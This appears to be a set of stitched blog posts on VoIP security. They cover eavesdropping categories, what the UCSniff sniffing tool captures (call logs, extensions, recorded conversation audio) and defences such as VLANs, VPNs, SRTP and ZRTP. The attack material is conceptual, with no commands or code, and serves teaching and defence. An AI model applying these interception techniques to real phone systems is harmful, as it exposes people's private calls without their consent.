Advisories: ZDI-11-255 & ZDI-11-257.

As we seen in two last posts SIP(Sesion Initiation Protocol) is a protocol easily sniffeable because of being transmitted unencrypted over the net. There are some solutions which solve this, but they are not definitive. Next picture show a very basic diagram of one VoIP infrastructure which I will use along this post, at this point we should understand SIP is used for creating, modifying and terminating sessions and this sessions are formed for one or several media streams and they occurs between clients, leaving SIP Proxy aside.




Mainly we have two options in order to avoid Eavesdropping attacks: encryption or network separation.




Network separation


It´s too difficult to own necessary resources to separate physically VoIP network of organization data network. The common solution is to use managed switches and setup different VLANs (Virtual Private Networks).


But this is only applicable inside your LAN and there are a lot of techniques for evading this kind of switches control which allow the attacker hop between different VLANs, we can find them with a simple search on Google:
http://www.google.es/search?sourceid=chrome&ie=UTF-8&q=vlan+hop
In fact, software used in previous posts supports it for some Cisco routers as showed in the picture:




Encryption


In this case we have some options too:


- VPN(Virtual Private Network): As you can see in the figure it is possible to cypher communications between different VoIP terminals of your system using a VPN, if all traffic is encrypted both SIP and RTP are also protected. This solution defends us from Internet sniffers but not inside the organization, this is the reason because a dedicated VLAN is also recommended in order to minimize data exposure. 


- Built encryption: Some proprietary software as Skype uses its own cipher protocol, only understandable for Skype clients. Traffic is encrypted and protocol relies on a P2P network formed for clients and nodes, but this architecture is too complex for resume it in a few words, so I recommend the lecture of these papers:
http://www.linecity.de/INFOTECH_ACS_SS05/acs5_top1_paper.pdf
http://www.mjalali.com/blog/?p=10
Anyway, I wouldn’t use it if I want a real secure communication because i can´t be sure if my conversation is not being transmitted using another Skype user computer(maybe a bad guy one).


- “Standards” SRTP & ZRTP: SRTP(Secure Real Time Transport Protocol) cyphers RTP traffic to provide encryption, message authentication and integrity and replay protection. It depends of an external key management protocol to set up the initial master key, there are some other protocols to do this task: MIKEY, ZRTP(Media Path Key Agreement for Unicast Secure RTP) and SDES which seems to become de facto standard, principally for being an extremely simple technique. Basically, in this method keys are transported in a SIP message (SDP attachment) and ciphered using TLS(Transport Layer Security), you can imagine it if you think in HTTPS protocol. Also it could be possible to use other methods to implement this last funcionality like S/MIME but they are not too much widespread.




On the other hand, ZRTP was developed as part of Zfone Project and its most important advantage is the only able to provide end-to-end encryption. Even SIP/TLS does not provide it because being the IP PBX a trusted third party which could be able to eavesdrop the conversation. Other benefits of this protocol:
- It uses a public key algorithm avoiding PKI(Public Key Infrastructure) complexity.
- It allows the detection of man-in-the-middle (MiTM) attacks, as commented before.
- It supports opportunistic encryption asking the other VoIP client if supports ZRTP before starting a call.




NOTE: Eavesdropping through ZRTP protocol seems extremely difficult, but not impossible. To do this, an attacker would have to be present since the first call, be able to fake verbal SAS in real time and, preferably, to imitate voices. (Detailed explanation here)


They are not exactly standards but they are the most used option, in fact, SRTP(RFC4585) and MIKEY (RFC4738) are “Proposed standard” and ZRTP is an “Informational standard”. It was developed by Phil Zimmermann (among others) and published by IETF recently as RFC 6189.


Ok, this is a real mess of protocols, but now, what hardware and software solution would I get? You should choose what level of risk you want to assume, and then select software that supports it, I think this comparative list can help you:
http://en.wikipedia.org/wiki/Comparison_of_VoIP_software


To sum up I should to say I know this was a bored(sorry for that) theoretical post, but I found a lot of confusion in too many sites and forums among this group of protocols and what they can do for us, so I decided deep in and document it. From now I will come back to work on proofs of concept which are much more funny to test, write and read :)

 VoIP Eavesdropping: UCSniff (I)


To start this second article I'll dig a little deeper in VoIP Eavesdropping techniques. There are different classifications over the net but I´m going to use "Hacking Exposed VoIP" book (I strongly recommend it) one for being , in my opinion, the most complete. According to it we define four categories for these attacks:

TFTP Configuration File Sniffing
IP phones often obtain their configuration parameters from a TFTP server, you can get an idea imagining something similar to DHCP Protocol, but in application layer of course. In this case attacker could obtain some passwords sniffing or downloading them directly from ftp server, moreover he could even reconfigure phone. In fact I have a fun idea in mind for another POC but we are waiting for someone to lend us a proper phone :).

Number Harvesting
Attacker monitors all calls in order to obtain legitimate numbers and extensions of a system which will be used combined with other attacks.

Call Pattern Tracking 
The attack target is the list with all the calls made by a member of an organization in order to detect suspicious activities among the members.

Conversation Eavesdropping and Analysis
This is the most impressive attack because the bad guy try to record both sides of conversations.

That being said, now I´m going to show UCSniff automates the attacks studying results obtained from last post. Next picture shows files generated after the sniffing.

TFTP Configuration File Sniffing 
As I said before I do not have a proper phone for this test, but UCSniff supports it,  even TFTP Modify Attack (cursiva) as you can see in the picture.




Number Harvesting
During the sniffing we could see extensions involved in calls on the Output and Status(cursiva) panel. Now we can consult them in call.log, calldetail.log and sip.log , which also stores it with much more detailed log including all SIP messages (REGISTER, INVITE, etc.)


Call Pattern Tracking
Files commented in Number Harvesting cover this point too.

Conversation Eavesdropping and Analysis
In this example 81-Calling-81-18:48:12-3-reverse.wav stores one side conversation for the reasons commented in previous post, but in a real environment we should get something like this:
Names are really intuitive so, at this point, I think you can understand by yourself all the helpfull information included in other generated files, you can ask me any doubt in a comment or a mail :). In the next post I hope talk about countermesurements porposed for protect a infrastruture against this kind of Eavesdropping attack.

After a long time without writing because of different reasons I´m going to begin a group of articles trying to cover different type of attacks against any of the components of a common VoIP (Voice Over Internet Protocol) infrastructure and how to stop them. If you are beginning in this world of VoIP I recommend you to read Building Telephony Systems with OpenSIPS 1.6 where the authors go through basic theoretical and practical skills needed to implement a complete system.


This time, I will start with VoIP Eavesdropping attack, as the name suggest it consists on listen a conversation without speakers consent. This attack existed in the traditional telephony systems and nowadays is also possible against VoIP ones (and other protocols too, in example bluetooth).